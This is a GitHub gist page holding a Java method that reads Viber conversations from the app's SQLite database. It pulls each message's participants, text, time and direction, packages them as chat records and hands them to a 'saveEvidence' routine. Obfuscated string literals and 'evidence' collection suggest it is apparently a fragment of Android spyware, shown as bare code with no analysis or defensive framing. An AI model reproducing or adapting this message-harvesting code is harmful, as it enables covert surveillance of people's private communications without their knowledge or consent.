Skip to content

Instantly share code, notes, and snippets.

@peterclemenko
Created July 17, 2015 21:11
Show Gist options
  • Save peterclemenko/19397de1f4f30c9a37c7 to your computer and use it in GitHub Desktop.
Save peterclemenko/19397de1f4f30c9a37c7 to your computer and use it in GitHub Desktop.
private long fetchMessages(GenericSqliteHelper helper, final ViberConversation conversation, long lastConvId) {
// select author, body_xml from Messages where convo_id == 118 and id >=
// 101 and body_xml != ''
try {
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
String[] projection = new String[] { M.e("_id"), M.e("participant_id"), M.e("body"), M.e("date"),
M.e("address"), M.e("type") };
String selection = M.e("conversation_id = ") + conversation.id + M.e(" and date > ") + lastConvId;
String order = "date";
RecordVisitor visitor = new RecordVisitor(projection, selection, order) {
@Override
public long cursor(Cursor cursor) {
// I read a line in a conversation.
int id = cursor.getInt(0);
String peer = cursor.getString(1);
String body = cursor.getString(2);
long timestamp = cursor.getLong(3);
String address = cursor.getString(4);
boolean incoming = cursor.getInt(5) == 0;
// localtime or gmt? should be converted to gmt
Date date = new Date(timestamp);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) peer: " + peer + " timestamp: " + timestamp + " incoming: "
+ incoming);
}
boolean isGroup = conversation.isGroup();
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) incoming: " + incoming + " group: " + isGroup);
}
String from, to = null;
String fromDisplay, toDisplay = null;
from = incoming ? address : conversation.account;
fromDisplay = incoming ? address : conversation.account;
Contact contact = groups.getContact(peer);
String thread = Long.toString(conversation.id);
if (isGroup) {
// if (peer.equals("0")) {
// peer = conversation.account;
// }
to = groups.getGroupToName(from, thread);
toDisplay = to;
} else {
to = incoming ? conversation.account : conversation.remote;
toDisplay = incoming ? conversation.account : conversation.remote;
}
if (!StringUtils.isEmpty(body)) {
MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay,
body, incoming);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) message: " + message.from + " "
+ (message.incoming ? "<-" : "->") + " " + message.to + " : " + message.body);
}
messages.add(message);
}
return timestamp;
}
};
long newLastId = helper.traverseRecords(M.e("messages"), visitor);
if (messages != null && messages.size() > 0) {
saveEvidence(messages);
}
return newLastId;
} catch (Exception e) {
if (Cfg.DEBUG) {
e.printStackTrace();
Check.log(TAG + " (fetchMessages) Error: " + e);
}
return -1;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment